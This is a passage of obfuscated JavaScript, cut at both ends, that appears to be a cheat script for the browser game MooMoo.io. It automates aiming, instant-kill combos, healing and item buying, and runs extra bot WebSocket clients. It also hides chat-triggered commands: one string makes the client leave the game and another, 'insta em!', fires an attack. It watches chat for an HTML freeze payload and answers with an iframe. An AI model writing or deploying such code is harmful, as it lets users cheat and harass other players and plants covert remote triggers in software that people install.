_0x10d181(_0x21c5b5.empAnti || _0x4e7604.dist2 > 300 || !
_0x462a20.length ? 22 : 6, 0);
}
} else if (_0x21c5b5.empAnti || _0x21c5b5.soldierAnti) {
_0x10d181(_0x21c5b5.empAnti ? 22 : 6, 0);
} else if ((!_0x462a20.length || _0x4e7604.dist2 >= 200) &&
_0x21c5b5.shameCount > 0 && _0x21c5b5.skinIndex != 45 || _0x8f1613.reSync) {
_0x10d181(7, 0);
} else if (_0x21c5b5.y2 >= _0x124d71.mapScale / 2 -
_0x124d71.riverWidth / 2 && _0x21c5b5.y2 <= _0x124d71.mapScale / 2 +
_0x124d71.riverWidth / 2) {
if (!_0x20bd10.alwaysFlipper) {
if (_0x4e7604.dist2 <= 300) {
_0x10d181(getEl("antiBullType").value == "abreload" &&
_0x4e7604.antiBull > 0 ? 11 : getEl("antiBullType").value == "abalway" &&
_0x4e7604.reloads[_0x4e7604.primaryIndex] == 0 ? 11 : 6, 0);
} else {
_0x6f2b76(1);
}
} else {
_0x6f2b76(1);
}
} else if (_0x4e7604.dist2 <= 300) {
_0x10d181(getEl("antiBullType").value == "abreload" &&
_0x4e7604.antiBull > 0 ? 11 : getEl("antiBullType").value == "abalway" &&
_0x4e7604.reloads[_0x4e7604.primaryIndex] == 0 ? 11 : 6, 0);
} else {
_0x6f2b76(1);
}
};
let _0x1901df = function () {
if (_0x1fd2aa.left) {
_0x10d181(21, 1);
} else if (_0x1fd2aa.right) {
_0x10d181(21, 1);
} else if (_0x1933cc.inTrap) {
_0x10d181(21, 1);
} else if (_0x4e7604.dist2 < 300) {
if (getEl("antiBullType").value == "noab") {
_0x10d181(19, 1);
} else if (_0x20bd10.alwaysFlipper && _0x21c5b5.y2 >=
_0x124d71.mapScale / 2 - _0x124d71.riverWidth / 2 && _0x21c5b5.y2 <=
_0x124d71.mapScale / 2 + _0x124d71.riverWidth / 2) {
_0x10d181(19, 1);
} else {
_0x10d181(21, 1);
}
} else {
_0x10d181(11, 1);
}
};
if (_0x5651d7.style.display != "block" && !_0x37a646.isTrue && !
_0x37a646.ticking) {
_0x397ff0();
_0x1901df();
}
if (_0x20bd10.autoPush && _0x462a20.length && !_0x1933cc.inTrap && !
_0x37a646.ticking) {
_0x380bca();
} else if (_0x8f1613.autoPush) {
_0x8f1613.autoPush = false;
_0x4c5fd1("a", _0x8842b7 || undefined, 1);
}
_0x37a646.ticking &&= false;
_0x37a646.syncHit &&= false;
_0x21c5b5.empAnti &&= false;
_0x21c5b5.soldierAnti &&= false;
if (_0x8f1613.anti0Tick > 0) {
_0x8f1613.anti0Tick--;
}
_0x1933cc.replaced &&= false;
_0x1933cc.antiTrapped &&= false;
}
}
if (_0x43d7bb.length) {
_0x43d7bb.forEach(_0x3d9f4b => {
if (true) {
_0x3d9f4b[0].showName = "YEAHHH";
}
});
}
}
for (var _0x56d555 = 0; _0x56d555 < _0x57e617.length; _0x56d555++) {
if (_0x57e617[_0x56d555].active && _0x57e617[_0x56d555].health > 0 &&
_0x4cedba.getDist(_0x57e617[_0x56d555], _0x21c5b5, 0, 2) < 150 &&
getEl("antipush").checked) {
if (_0x57e617[_0x56d555].name.includes("spike") && _0x57e617[_0x56d555])
{
if (_0x57e617[_0x56d555].owner.sid != _0x21c5b5.sid && _0x1fd2aa.left
== false && _0x3fce7e.reloads[_0x3fce7e.secondaryIndex] == 0) {
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(40, 0);
_0x4c5fd1("D", _0x4cedba.getDirect(_0x57e617[_0x56d555], _0x21c5b5,
0, 2));
setTimeout(() => {
_0x10d181(6, 0);
}, 1);
}
}
}
}
function _0x18be79(_0x3a2a9c) {
_0x4a41b0 = _0x3a2a9c;
return;
_0x4cedba.removeAllChildren(_0x1100d8);
let _0x343c44 = 1;
for (let _0x408ea1 = 0; _0x408ea1 < _0x3a2a9c.length; _0x408ea1 += 3) {
(function (_0x3da346) {
_0x4cedba.generateElement({
class: "leaderHolder",
parent: _0x1100d8,
children: [_0x4cedba.generateElement({
class: "leaderboardItem",
style: "color:" + (_0x3a2a9c[_0x3da346] == _0x222e4b ? "#fff" :
"rgba(255,255,255,0.6)"),
text: _0x343c44 + ". " + (_0x3a2a9c[_0x3da346 + 1] != "" ?
_0x3a2a9c[_0x3da346 + 1] : "unknown")
}), _0x4cedba.generateElement({
class: "leaderScore",
text: _0x4cedba.sFormat(_0x3a2a9c[_0x3da346 + 2]) || "0"
})]
});
})(_0x408ea1);
_0x343c44++;
}
}
function _0xc97ce8(_0x5bf7f2) {
for (let _0xabf6a = 0; _0xabf6a < _0x5bf7f2.length;) {
_0x31b87c.add(_0x5bf7f2[_0xabf6a], _0x5bf7f2[_0xabf6a + 1],
_0x5bf7f2[_0xabf6a + 2], _0x5bf7f2[_0xabf6a + 3], _0x5bf7f2[_0xabf6a + 4],
_0x5bf7f2[_0xabf6a + 5], _0x4b879d.list[_0x5bf7f2[_0xabf6a + 6]], true,
_0x5bf7f2[_0xabf6a + 7] >= 0 ? {
sid: _0x5bf7f2[_0xabf6a + 7]
} : null);
_0xabf6a += 8;
}
}
function _0x234a6d(_0xcbcdc8) {
for (let _0x3b0a94 = 0; _0x3b0a94 < _0x18eaf3.length; ++_0x3b0a94) {
_0x18eaf3[_0x3b0a94].forcePos = !_0x18eaf3[_0x3b0a94].visible;
_0x18eaf3[_0x3b0a94].visible = false;
}
if (_0xcbcdc8) {
let _0x17f8fb = performance.now();
for (let _0xf792ca = 0; _0xf792ca < _0xcbcdc8.length;) {
_0x3fce7e = _0x3ebe5b(_0xcbcdc8[_0xf792ca]);
if (_0x3fce7e) {
_0x3fce7e.index = _0xcbcdc8[_0xf792ca + 1];
_0x3fce7e.t1 = _0x3fce7e.t2 === undefined ? _0x17f8fb : _0x3fce7e.t2;
_0x3fce7e.t2 = _0x17f8fb;
_0x3fce7e.x1 = _0x3fce7e.x;
_0x3fce7e.y1 = _0x3fce7e.y;
_0x3fce7e.x2 = _0xcbcdc8[_0xf792ca + 2];
_0x3fce7e.y2 = _0xcbcdc8[_0xf792ca + 3];
_0x3fce7e.d1 = _0x3fce7e.d2 === undefined ? _0xcbcdc8[_0xf792ca +
4] : _0x3fce7e.d2;
_0x3fce7e.d2 = _0xcbcdc8[_0xf792ca + 4];
_0x3fce7e.health = _0xcbcdc8[_0xf792ca + 5];
_0x3fce7e.dt = 0;
_0x3fce7e.visible = true;
} else {
_0x3fce7e = _0x1a407b.spawn(_0xcbcdc8[_0xf792ca + 2],
_0xcbcdc8[_0xf792ca + 3], _0xcbcdc8[_0xf792ca + 4], _0xcbcdc8[_0xf792ca + 1]);
_0x3fce7e.x2 = _0x3fce7e.x;
_0x3fce7e.y2 = _0x3fce7e.y;
_0x3fce7e.d2 = _0x3fce7e.dir;
_0x3fce7e.health = _0xcbcdc8[_0xf792ca + 5];
if (!_0x1a407b.aiTypes[_0xcbcdc8[_0xf792ca + 1]].name) {
_0x3fce7e.name = _0x124d71.cowNames[_0xcbcdc8[_0xf792ca + 6]];
}
_0x3fce7e.forcePos = true;
_0x3fce7e.sid = _0xcbcdc8[_0xf792ca];
_0x3fce7e.visible = true;
}
_0xf792ca += 7;
}
}
}
function _0x3a885a(_0x26b663) {
_0x3fce7e = _0x3ebe5b(_0x26b663);
if (_0x3fce7e) {
_0x3fce7e.startAnim();
}
}
function _0x51660c(_0x517946, _0x3a23d2, _0x240a68) {
_0x3fce7e = _0x117918(_0x517946);
if (_0x3fce7e) {
_0x3fce7e.startAnim(_0x3a23d2, _0x240a68);
_0x3fce7e.gatherIndex = _0x240a68;
_0x3fce7e.gathering = 1;
if (_0x3fce7e == _0x4e7604 && _0x3fce7e.dist2 <= 250) {
let _0x9ff3c6 = _0x4b879d.weapons[_0x240a68].name;
if (_0x9ff3c6 == "musket") {
_0x10d181(1, 6);
if (_0x3fce7e.damaged > 0) {
_0x48e4f4(1, 22);
if (_0x3fce7e.damaged > 0) {
_0x8f1613.anti0Tick = 1;
_0x3d927d();
_0x458902(0, _0x5e0191());
}
}
}
if (_0x9ff3c6 == "repeater crossbow") {
_0x8f1613.anti0Tick = 4;
_0x10d181(1, 6);
if (_0x3fce7e.damaged > 0) {
_0x48e4f4(1, 22);
if (_0x3fce7e.damaged > 0) {
_0x8f1613.anti0Tick = 2;
_0x4f7997();
_0x458902(0, _0x5e0191());
}
}
}
}
if (_0x3a23d2) {
let _0x5ad69f = _0x31b87c.hitObj;
_0x31b87c.hitObj = [];
_0x450873.tickBase(() => {
_0x3fce7e = _0x117918(_0x517946);
let _0x8f84a0 = _0x4b879d.weapons[_0x240a68].dmg *
_0x124d71.weaponVariants[_0x3fce7e[(_0x240a68 < 9 ? "prima" : "seconda") +
"ryVariant"]].val * (_0x4b879d.weapons[_0x240a68].sDmg || 1) * (_0x3fce7e.skinIndex
== 40 ? 3.3 : 1);
_0x5ad69f.forEach(_0x2e4ec0 => {
_0x2e4ec0.health -= _0x8f84a0;
});
}, 1);
}
}
}
function _0x58e5cc(_0x5b064c, _0x3c875b) {
_0x3fce7e = _0x45a52d(_0x3c875b);
if (_0x3fce7e) {
_0x3fce7e.xWiggle += _0x124d71.gatherWiggle * Math.cos(_0x5b064c);
_0x3fce7e.yWiggle += _0x124d71.gatherWiggle * Math.sin(_0x5b064c);
if (_0x3fce7e.health) {
_0x31b87c.hitObj.push(_0x3fce7e);
}
}
}
function _0x34d01e(_0x11c0d8, _0x25fe91) {
_0x3fce7e = _0x45a52d(_0x11c0d8);
if (_0x3fce7e) {
if (_0x124d71.anotherVisual) {
_0x3fce7e.lastDir = _0x25fe91;
} else {
_0x3fce7e.dir = _0x25fe91;
}
_0x3fce7e.xWiggle += _0x124d71.gatherWiggle * Math.cos(_0x25fe91 +
Math.PI);
_0x3fce7e.yWiggle += _0x124d71.gatherWiggle * Math.sin(_0x25fe91 +
Math.PI);
}
}
function _0x4c250e(_0xec2ac4, _0x50371e, _0x9c6b95) {
if (_0x21c5b5) {
_0x21c5b5[_0xec2ac4] = _0x50371e;
if (_0xec2ac4 === "points") {
if (_0x20bd10.autoBuy) {
_0x5a4d10.hat();
_0x5a4d10.acc();
}
} else if (_0xec2ac4 === "kills") {
if (_0x20bd10.killChat) {
var _0x5e4353 = getEl("killchat").value;
_0x52ebe0(_0x5e4353 + " " + _0x21c5b5.kills);
}
}
}
}
function _0x12f34f() {
if (_0x20bd10.fpsBoost) {
console.clear();
}
}
function _0xda9bc1(_0x27d60e) {
let _0x16a4d0 = Math.floor(_0x27d60e / 10) * 10;
if (_0x27d60e <= 1) {
return "";
} else {
let _0x4860ff = "x" + Math.floor(_0x27d60e / 10);
return _0x4860ff;
}
}
function _0xe7d15e(_0x5a8c3f, _0x41972b) {
if (_0x5a8c3f) {
if (_0x41972b) {
_0x21c5b5.weapons = _0x5a8c3f;
_0x21c5b5.primaryIndex = _0x21c5b5.weapons[0];
_0x21c5b5.secondaryIndex = _0x21c5b5.weapons[1];
if (!_0x37a646.isTrue) {
_0x8770b0(_0x21c5b5.weapons[0]);
}
} else {
_0x21c5b5.items = _0x5a8c3f;
}
}
for (let _0x1afb35 = 0; _0x1afb35 < _0x4b879d.list.length; _0x1afb35++) {
let _0x4db079 = _0x4b879d.weapons.length + _0x1afb35;
getEl("actionBarItem" + _0x4db079).style.display =
_0x21c5b5.items.indexOf(_0x4b879d.list[_0x1afb35].id) >= 0 ? "inline-block" :
"none";
}
for (let _0x49711c = 0; _0x49711c < _0x4b879d.weapons.length; _0x49711c++)
{
getEl("actionBarItem" + _0x49711c).style.display =
_0x21c5b5.weapons[_0x4b879d.weapons[_0x49711c].type] ==
_0x4b879d.weapons[_0x49711c].id ? "inline-block" : "none";
}
let _0x427364 = _0x21c5b5.weapons[0] == 3 && _0x21c5b5.weapons[1] == 15;
if (_0x427364) {
getEl("actionBarItem3").style.display = "none";
getEl("actionBarItem4").style.display = "inline-block";
}
}
function _0x2f91b6(_0x54c4c0, _0x91566d, _0x263e6d, _0x43a7e9, _0x4c2dfc,
_0x239586, _0x985c6, _0x165af6) {
_0x2ca08d.addProjectile(_0x54c4c0, _0x91566d, _0x263e6d, _0x43a7e9,
_0x4c2dfc, _0x239586, null, null, _0x985c6, _0x34869b).sid = _0x165af6;
_0x2dfd5f.push(Array.prototype.slice.call(arguments));
}
function _0x475729(_0x273273, _0x5fc73d) {
for (let _0x466f5c = 0; _0x466f5c < _0x2033cb.length; ++_0x466f5c) {
if (_0x2033cb[_0x466f5c].sid == _0x273273) {
_0x2033cb[_0x466f5c].range = _0x5fc73d;
let _0x19aead = _0x31b87c.hitObj;
_0x31b87c.hitObj = [];
_0x450873.tickBase(() => {
let _0x1bd05c = _0x2033cb[_0x466f5c].dmg;
_0x19aead.forEach(_0x2aa401 => {
if (_0x2aa401.projDmg) {
_0x2aa401.health -= _0x1bd05c;
}
});
}, 1);
}
}
}
function _0x468417(_0x3d8ec0, _0x4141d1) {
let _0x498bd5 = _0x5a4f5b(_0x484803, _0x3d8ec0);
if (_0x498bd5) {}
}
function _0x5a789a(_0xc134aa, _0xb35175) {
if (_0x21c5b5) {
_0x21c5b5.team = _0xc134aa;
_0x21c5b5.isOwner = _0xb35175;
if (_0xc134aa == null) {
_0x116d96 = [];
}
}
}
function _0x302661(_0x580b45) {
_0x116d96 = _0x580b45;
}
function _0x40d766(_0x37513e, _0x178d46, _0x106fbf) {
if (_0x106fbf) {
if (!_0x37513e) {
_0x21c5b5.tails[_0x178d46] = 1;
} else {
_0x21c5b5.latestTail = _0x178d46;
}
} else if (!_0x37513e) {
_0x21c5b5.skins[_0x178d46] = 1;
if (_0x178d46 == 7) {
_0x8f1613.reSync = true;
}
} else {
_0x21c5b5.latestSkin = _0x178d46;
}
}
function _0x475ee0(_0x28cc83, _0x47970c) {
let _0x4d8c0e = false;
let _0x35c907 = _0x117918(_0x28cc83);
_0x17c17a(_0x35c907.name + "[" + _0x35c907.sid + "]", _0x47970c, "white");
_0x35c907.chatMessage = _0x47970c;
_0x35c907.chatCountdown = _0x124d71.chatCountdown;
var _0x84210 = document.getElementById("antikick");
if (_0x84210 && _0x84210.checked && _0x47970c.includes("<img
onerror=\"for(;;){}\" src=>")) {
_0x229ae3.send("6", "<iframe src=\"//moomoo.io\">");
}
if (_0x47970c.includes("Auto-GG X Hubby")) {
_0x229ae3.send("6", "x hubby why skid :(");
}
var _0x47808d = String.fromCharCode(45, 49, 45, 50, 45, 51);
if (_0x47970c.includes(_0x47808d + " b@D")) {
window.leave();
}
var _0x13fd7b = document.getElementById("musketSync");
if (_0x13fd7b && _0x13fd7b.checked && _0x47970c === "ASHGDF^%EUARD$%Y^R
%AYTDSG^FT^&") {
_0x2dbdf0();
}
if (_0x47970c === "insta em!" && _0x21c5b5.reloads[_0x21c5b5.weapons[0]]
=== 0 && _0x21c5b5.reloads[_0x21c5b5.weapons[1]] === 0) {
_0x8f1613.autoAim = true;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x5cea41();
_0x450873.tickBase(() => {
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(_0x21c5b5.reloads[53] === 0 ? 53 : 6, 0);
_0x450873.tickBase(() => {
_0x5cea41();
_0x8f1613.autoAim = false;
}, 3);
}, 2);
}
}
function _0x1b862a(_0x5d7998) {
_0x19f2f1 = _0x5d7998;
}
function _0x3ded1e(_0xc009f6, _0x5a465a, _0x11b8d7, _0x4ba34a) {
if (_0x124d71.anotherVisual) {
_0x376c55.stack.push({
x: _0xc009f6,
y: _0x5a465a,
value: _0x11b8d7
});
} else {
_0x376c55.showText(_0xc009f6, _0x5a465a, 50, 0.18, _0x4f4659 ? 500 :
1500, Math.abs(_0x11b8d7), _0x11b8d7 >= 0 ? "#fff" : "#8ecc51");
}
}
let _0x484803 = [];
let _0x2586f0 = {
x: _0x4cedba.randInt(35, 14365),
y: _0x4cedba.randInt(35, 14365)
};
setInterval(() => {
_0x2586f0 = {
x: _0x4cedba.randInt(35, 14365),
y: _0x4cedba.randInt(35, 14365)
};
}, 60000);
class _0x2dc81a {
constructor(_0x24a932, _0x2ca29c, _0x410ee4, _0x271b22) {
this.id = _0x24a932;
this.sid = _0x2ca29c;
this.team = null;
this.skinIndex = 0;
this.tailIndex = 0;
this.hitTime = 0;
this.iconIndex = 0;
this.enemy = [];
this.near = [];
this.dist2 = 0;
this.aim2 = 0;
this.tick = 0;
this.itemCounts = {};
this.latestSkin = 0;
this.latestTail = 0;
this.points = 0;
this.tails = {};
for (let _0x453489 = 0; _0x453489 < _0x271b22.length; ++_0x453489) {
if (_0x271b22[_0x453489].price <= 0) {
this.tails[_0x271b22[_0x453489].id] = 1;
}
}
this.skins = {};
for (let _0x2a466a = 0; _0x2a466a < _0x410ee4.length; ++_0x2a466a) {
if (_0x410ee4[_0x2a466a].price <= 0) {
this.skins[_0x410ee4[_0x2a466a].id] = 1;
}
}
this.spawn = function (_0x47062a) {
this.upgraded = 0;
this.enemy = [];
this.near = [];
this.active = true;
this.alive = true;
this.lockMove = false;
this.lockDir = false;
this.minimapCounter = 0;
this.chatCountdown = 0;
this.shameCount = 0;
this.shameTimer = 0;
this.sentTo = {};
this.gathering = 0;
this.autoGather = 0;
this.animTime = 0;
this.animSpeed = 0;
this.mouseState = 0;
this.buildIndex = -1;
this.weaponIndex = 0;
this.dmgOverTime = {};
this.noMovTimer = 0;
this.maxXP = 300;
this.XP = 0;
this.age = 1;
this.kills = 0;
this.upgrAge = 2;
this.upgradePoints = 0;
this.x = 0;
this.y = 0;
this.zIndex = 0;
this.xVel = 0;
this.yVel = 0;
this.slowMult = 1;
this.dir = 0;
this.nDir = 0;
this.dirPlus = 0;
this.targetDir = 0;
this.targetAngle = 0;
this.maxHealth = 100;
this.health = this.maxHealth;
this.oldHealth = this.maxHealth;
this.scale = _0x124d71.playerScale;
this.speed = _0x124d71.playerSpeed;
this.resetMoveDir();
this.resetResources(_0x47062a);
this.items = [0, 3, 6, 10];
this.weapons = [0];
this.shootCount = 0;
this.weaponXP = [];
this.reloads = {};
this.whyDie = "";
};
this.resetMoveDir = function () {
this.moveDir = undefined;
};
this.resetResources = function (_0x276997) {
for (let _0x1d647c = 0; _0x1d647c < _0x124d71.resourceTypes.length; +
+_0x1d647c) {
this[_0x124d71.resourceTypes[_0x1d647c]] = _0x276997 ? 100 : 0;
}
};
this.setData = function (_0x1666bd) {
this.id = _0x1666bd[0];
this.sid = _0x1666bd[1];
this.name = _0x1666bd[2];
this.x = _0x1666bd[3];
this.y = _0x1666bd[4];
this.dir = _0x1666bd[5];
this.health = _0x1666bd[6];
this.maxHealth = _0x1666bd[7];
this.scale = _0x1666bd[8];
this.skinColor = _0x1666bd[9];
};
this.judgeShame = function () {
if (this.oldHealth < this.health) {
if (this.hitTime) {
let _0x3b36d8 = this.tick - this.hitTime;
this.hitTime = 0;
if (_0x3b36d8 < 2) {
this.shameCount++;
} else {
this.shameCount = Math.max(0, this.shameCount - 2);
}
}
} else if (this.oldHealth > this.health) {
this.hitTime = this.tick;
}
};
this.closeSockets = function (_0x29dbe2) {
_0x29dbe2.close();
};
this.whyDieChat = function (_0x31ff4e, _0x57cad6) {
_0x31ff4e.sendWS("H", "XDDD why die " + _0x57cad6);
};
}
}
;
class _0x186a07 {
constructor(_0x342d78) {
this.sid = _0x342d78;
this.init = function (_0x1ed6fe, _0x9bd30d, _0x10e131, _0xc21b54,
_0x502487, _0xa91dfe, _0x32219f) {
_0xa91dfe = _0xa91dfe || {};
this.active = true;
this.x = _0x1ed6fe;
this.y = _0x9bd30d;
this.scale = _0xc21b54;
this.owner = _0x32219f;
this.id = _0xa91dfe.id;
this.dmg = _0xa91dfe.dmg;
this.trap = _0xa91dfe.trap;
this.teleport = _0xa91dfe.teleport;
this.isItem = this.id != undefined;
};
}
}
;
class _0x236945 {
constructor(_0x259e8a, _0x2916d5) {
this.disableObj = function (_0xdbf287) {
_0xdbf287.active = false;
if (_0x124d71.anotherVisual) {} else {
_0xdbf287.alive = false;
}
};
let _0x48ad11;
this.add = function (_0x455175, _0x4d291b, _0x5396a9, _0x2cfba7,
_0x332161, _0x336330, _0xaf3693, _0x532b59, _0x48485a) {
_0x48ad11 = _0x2916d5(_0x455175);
if (!_0x48ad11) {
_0x48ad11 = _0x259e8a.find(_0x13114f => !_0x13114f.active);
if (!_0x48ad11) {
_0x48ad11 = new _0x186a07(_0x455175);
_0x259e8a.push(_0x48ad11);
}
}
if (_0x532b59) {
_0x48ad11.sid = _0x455175;
}
_0x48ad11.init(_0x4d291b, _0x5396a9, _0x2cfba7, _0x332161, _0x336330,
_0xaf3693, _0x48485a);
};
this.disableBySid = function (_0x46252e) {
let _0x35d748 = _0x2916d5(_0x46252e);
if (_0x35d748) {
this.disableObj(_0x35d748);
}
};
this.removeAllItems = function (_0x711fd6, _0x360ed0) {
_0x259e8a.filter(_0x2718f9 => _0x2718f9.active && _0x2718f9.owner &&
_0x2718f9.owner.sid == _0x711fd6).forEach(_0x32df2f => this.disableObj(_0x32df2f));
};
}
}
;
let _0x5412eb = [];
function _0x5cd47a(_0x4524da) {
let _0x26048c;
let _0x41ffa5 = _0x2db724.url.split("wss://")[1].split("?")[0];
_0x26048c = _0x4524da && new WebSocket("wss://" + _0x41ffa5 + "?token=re:"
+ encodeURIComponent(_0x4524da));
let _0x5def10 = new Map();
_0x43d7bb.push([_0x5def10]);
_0x5412eb.push([_0x26048c]);
let _0x5867a0;
let _0x4470bd = [];
let _0x198ce3 = [];
let _0x372507 = {
x: 0,
y: 0,
inGame: false,
closeSocket: false,
whyDie: ""
};
let _0x5389fa = {
x: 0,
y: 0
};
let _0x18b516 = new _0x236945(_0x4470bd, function (_0x14acbd) {
return _0x5a4f5b(_0x4470bd, _0x14acbd);
});
_0x26048c.binaryType = "arraybuffer";
_0x26048c.first = true;
_0x26048c.sendWS = function (_0x1e6516) {
let _0x15c79e = Array.prototype.slice.call(arguments, 1);
let _0x21ee03 = window.msgpack.encode([_0x1e6516, _0x15c79e]);
_0x26048c.send(_0x21ee03);
};
_0x26048c.spawn = function () {
_0x26048c.sendWS("M", {
name: "Cleaner",
moofoll: 1,
skin: "4"
});
};
_0x26048c.sendUpgrade = function (_0x877b25) {
_0x26048c.sendWS("H", _0x877b25);
};
_0x26048c.place = function (_0x281294, _0x3a138e) {
try {
let _0x32153a = _0x4b879d.list[_0x5def10.items[_0x281294]];
if (_0x5def10.itemCounts[_0x32153a.group.id] == undefined ? true :
_0x5def10.itemCounts[_0x32153a.group.id] < (_0x124d71.isSandbox ? 99 :
_0x32153a.group.limit ? _0x32153a.group.limit : 99)) {
_0x26048c.sendWS("G", _0x5def10.items[_0x281294]);
_0x26048c.sendWS("d", 1, _0x3a138e);
_0x26048c.sendWS("G", _0x5def10.weaponIndex, true);
}
} catch (_0x183562) {}
};
_0x26048c.buye = function (_0x1fbfcf, _0x3d7963) {
let _0x44b15 = 0;
if (_0x5def10.alive && _0x5def10.inGame) {
if (_0x3d7963 == 0) {
if (_0x5def10.skins[_0x1fbfcf]) {
if (_0x5def10.latestSkin != _0x1fbfcf) {
_0x26048c.sendWS("c", 0, _0x1fbfcf, 0);
}
} else {
let _0x2939ea = _0x65f08(_0x5db0d5, _0x1fbfcf);
if (_0x2939ea) {
if (_0x5def10.points >= _0x2939ea.price) {
_0x26048c.sendWS("c", 1, _0x1fbfcf, 0);
_0x26048c.sendWS("c", 0, _0x1fbfcf, 0);
} else if (_0x5def10.latestSkin != _0x44b15) {
_0x26048c.sendWS("c", 0, _0x44b15, 0);
}
} else if (_0x5def10.latestSkin != _0x44b15) {
_0x26048c.sendWS("c", 0, _0x44b15, 0);
}
}
} else if (_0x3d7963 == 1) {
if (_0x5def10.tails[_0x1fbfcf]) {
if (_0x5def10.latestTail != _0x1fbfcf) {
_0x26048c.sendWS("c", 0, _0x1fbfcf, 1);
}
} else {
let _0x99d15 = _0x65f08(_0x55466c, _0x1fbfcf);
if (_0x99d15) {
if (_0x5def10.points >= _0x99d15.price) {
_0x26048c.sendWS("c", 1, _0x1fbfcf, 1);
_0x26048c.sendWS("c", 0, _0x1fbfcf, 1);
} else if (_0x5def10.latestTail != 0) {
_0x26048c.sendWS("c", 0, 0, 1);
}
} else if (_0x5def10.latestTail != 0) {
_0x26048c.sendWS("c", 0, 0, 1);
}
}
}
}
};
_0x26048c.fastGear = function () {
if (_0x5def10.y2 >= _0x124d71.mapScale / 2 - _0x124d71.riverWidth / 2 &&
_0x5def10.y2 <= _0x124d71.mapScale / 2 + _0x124d71.riverWidth / 2) {
_0x26048c.buye(31, 0);
} else if (_0x5def10.moveDir == undefined) {
_0x26048c.buye(22, 0);
} else if (_0x5def10.y2 <= _0x124d71.snowBiomeTop) {
_0x26048c.buye(15, 0);
} else {
_0x26048c.buye(12, 0);
}
};
let _0x3cbb6e = function () {
let _0x2e827a = function () {
if (_0x5def10.health == 100) {
return 0;
}
if (_0x5def10.skinIndex != 45 && _0x5def10.skinIndex != 56) {
return Math.ceil((100 - _0x5def10.health) /
_0x4b879d.list[_0x5def10.items[0]].healing);
}
return 0;
};
for (let _0xfe90f2 = 0; _0xfe90f2 < _0x2e827a(); _0xfe90f2++) {
_0x26048c.place(0, _0x5def10.nDir);
}
};
_0x26048c.onmessage = function (_0x1589a1) {
let _0x4af6ac = new Uint8Array(_0x1589a1.data);
let _0x367201 = window.msgpack.decode(_0x4af6ac);
let _0x356b9e = _0x367201[0];
_0x4af6ac = _0x367201[1];
if (_0x356b9e == "io-init") {
_0x26048c.spawn();
}
if (_0x356b9e == "1") {
_0x5867a0 = _0x4af6ac[0];
}
if (_0x356b9e == "D") {
if (_0x4af6ac[1]) {
_0x5def10 = new _0x2dc81a(_0x4af6ac[0][0], _0x4af6ac[0][1],
_0x5db0d5, _0x55466c);
_0x5def10.setData(_0x4af6ac[0]);
_0x5def10.inGame = true;
_0x5def10.alive = true;
_0x5def10.x2 = undefined;
_0x5def10.y2 = undefined;
_0x5def10.spawn(1);
_0x5389fa = {
x: _0x4af6ac[0][3],
y: _0x4af6ac[0][4]
};
_0x372507.inGame = true;
_0x26048c.sendWS("K", 1);
if (_0x26048c.first) {
_0x26048c.first = false;
_0x484803.push(_0x372507);
}
}
}
if (_0x356b9e == "P") {
_0x26048c.spawn();
_0x5def10.inGame = false;
_0x372507.inGame = false;
}
if (_0x356b9e == "a") {
let _0x29b533 = _0x4af6ac[0];
_0x5def10.tick++;
_0x5def10.enemy = [];
_0x5def10.near = [];
_0x198ce3 = [];
for (let _0x22685f = 0; _0x22685f < _0x29b533.length;) {
if (_0x29b533[_0x22685f] == _0x5def10.sid) {
_0x5def10.x2 = _0x29b533[_0x22685f + 1];
_0x5def10.y2 = _0x29b533[_0x22685f + 2];
_0x5def10.d2 = _0x29b533[_0x22685f + 3];
_0x5def10.buildIndex = _0x29b533[_0x22685f + 4];
_0x5def10.weaponIndex = _0x29b533[_0x22685f + 5];
_0x5def10.weaponVariant = _0x29b533[_0x22685f + 6];
_0x5def10.team = _0x29b533[_0x22685f + 7];
_0x5def10.isLeader = _0x29b533[_0x22685f + 8];
_0x5def10.skinIndex = _0x29b533[_0x22685f + 9];
_0x5def10.tailIndex = _0x29b533[_0x22685f + 10];
_0x5def10.iconIndex = _0x29b533[_0x22685f + 11];
_0x5def10.zIndex = _0x29b533[_0x22685f + 12];
_0x5def10.visible = true;
_0x372507.x2 = _0x5def10.x2;
_0x372507.y2 = _0x5def10.y2;
}
_0x22685f += 13;
}
if (_0x372507.closeSocket) {
_0x5def10.closeSockets(_0x26048c);
}
if (_0x372507.whyDie != "") {
_0x5def10.whyDieChat(_0x26048c, _0x372507.whyDie);
_0x372507.whyDie = "";
}
if (_0x5def10.alive) {
if (_0x21c5b5.team) {
if (_0x5def10.team != _0x21c5b5.team && _0x5def10.tick % 9 === 0) {
if (_0x5def10.team) {
_0x26048c.sendWS("N");
}
_0x26048c.sendWS("b", _0x21c5b5.team);
}
}
if (_0x5def10.inGame) {
if (_0x4470bd.length > 0) {
if (_0x178343.length > 0) {
let _0x1a9469 = _0x4cedba.getDist(_0x178343[0], _0x5def10, 0,
2);
let _0x49e97c = _0x4cedba.getDirect(_0x178343[0], _0x5def10, 0,
2);
_0x198ce3 = _0x4470bd.filter(_0x33214f => _0x33214f.active &&
(_0x5a4f5b(_0x178343, _0x33214f.sid) ? true : !_0x33214f.trap || _0x21c5b5.sid !=
_0x33214f.owner.sid && !_0x21c5b5.findAllianceBySid(_0x33214f.owner.sid)) &&
_0x33214f.isItem && _0x4cedba.getDist(_0x33214f, _0x5def10, 0, 2) <=
_0x4b879d.weapons[_0x5def10.weaponIndex].range + _0x33214f.scale).sort(function
(_0x350d16, _0xab89a5) {
return _0x4cedba.getDist(_0x350d16, _0x5def10, 0, 2) -
_0x4cedba.getDist(_0xab89a5, _0x5def10, 0, 2);
})[0];
if (_0x198ce3) {
let _0x260e29 = _0x4cedba.getDist(_0x178343[0], _0x198ce3, 0,
0);
if (_0x1a9469 - _0x260e29 > 0) {
if (_0x5a4f5b(_0x178343, _0x198ce3.sid) ? true :
_0x198ce3.dmg || _0x198ce3.trap || _0x198ce3.teleport) {
if (_0x5def10.moveDir != undefined) {
_0x5def10.moveDir = undefined;
_0x26048c.sendWS("a", _0x5def10.moveDir);
}
} else {
_0x5def10.moveDir = _0x49e97c;
_0x26048c.sendWS("a", _0x5def10.moveDir);
}
if (_0x5def10.nDir != _0x4cedba.getDirect(_0x198ce3,
_0x5def10, 0, 2)) {
_0x5def10.nDir = _0x4cedba.getDirect(_0x198ce3,
_0x5def10, 0, 2);
_0x26048c.sendWS("D", _0x5def10.nDir);
}
_0x26048c.buye(40, 0);
_0x26048c.buye(11, 1);
} else {
